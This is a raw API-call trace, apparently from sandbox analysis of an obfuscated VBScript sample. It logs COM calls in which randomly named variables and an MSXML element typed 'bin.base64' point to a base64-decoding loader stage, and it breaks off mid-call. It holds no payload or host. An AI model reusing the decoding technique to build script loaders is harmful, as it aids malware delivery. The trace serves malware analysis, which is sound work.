0x0 [0089.103] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.103] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.103] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.103] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.103] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.103] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.104] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.104] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.104] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.104] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.104] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.104] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.104] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.104] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x3 [0089.104] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.104] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0089.104] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112950) returned 0x0 [0089.104] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0089.104] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.104] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.104] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0089.104] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.104] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.105] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.105] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.105] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.105] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.105] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.105] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.105] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.105] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.106] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x3 [0089.106] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0089.106] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112950) returned 0x0 [0089.106] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0089.106] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0089.106] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0089.106] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0089.106] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.106] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.106] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0089.106] DOMDocument:IUnknown:Release (This=0x554934) returned 0x1 [0089.106] DOMDocument:IUnknown:QueryInterface (in: This=0x554908, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x555c80) returned 0x0 [0089.106] DOMDocument:IUnknown:AddRef (This=0x555c80) returned 0x2 [0089.106] DOMDocument:IUnknown:Release (This=0x555c80) returned 0x1 [0089.107] DOMDocument:IUnknown:Release (This=0x554908) returned 0x2 [0089.107] DOMDocument:IUnknown:QueryInterface (in: This=0x555c80, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555cb4) returned 0x0 [0089.107] DOMDocument:IDispatchEx:GetDispId (in: This=0x555cb4, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0089.107] DOMDocument:IUnknown:Release (This=0x555cb4) returned 0x1 [0089.107] DOMDocument:IUnknown:AddRef (This=0x555c80) returned 0x2 [0089.107] DOMDocument:IUnknown:QueryInterface (in: This=0x555c80, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555cb4) returned 0x0 [0089.107] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555cb4, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.107] DOMDocument:IUnknown:Release (This=0x555cb4) returned 0x2 [0089.107] DOMDocument:IUnknown:Release (This=0x555c80) returned 0x1 [0089.108] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x555430) returned 0x0 [0089.108] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0089.108] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.108] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0089.108] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0089.108] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.109] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.109] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.109] GetCurrentThreadId () returned 0xd44 [0089.109] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.109] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.109] malloc (_Size=0x804) returned 0x83fc220 [0089.109] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.109] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0089.109] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.109] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0089.110] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0089.110] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.110] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0089.110] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0089.110] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.110] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0089.110] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.110] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.111] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.111] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.111] GetCurrentThreadId () returned 0xd44 [0089.111] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.111] malloc (_Size=0x404) returned 0x11c29f0 [0089.111] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.111] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.111] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.111] GetCurrentThreadId () returned 0xd44 [0089.111] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.112] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.112] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.112] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.112] GetCurrentThreadId () returned 0xd44 [0089.112] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.112] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.112] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.112] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.112] GetCurrentThreadId () returned 0xd44 [0089.113] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.113] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.113] malloc (_Size=0x804) returned 0x83fc220 [0089.113] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.113] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0089.113] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.113] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0089.113] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0089.113] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.113] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0089.113] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0089.114] DOMDocument:IDispatchEx:InvokeEx (in: 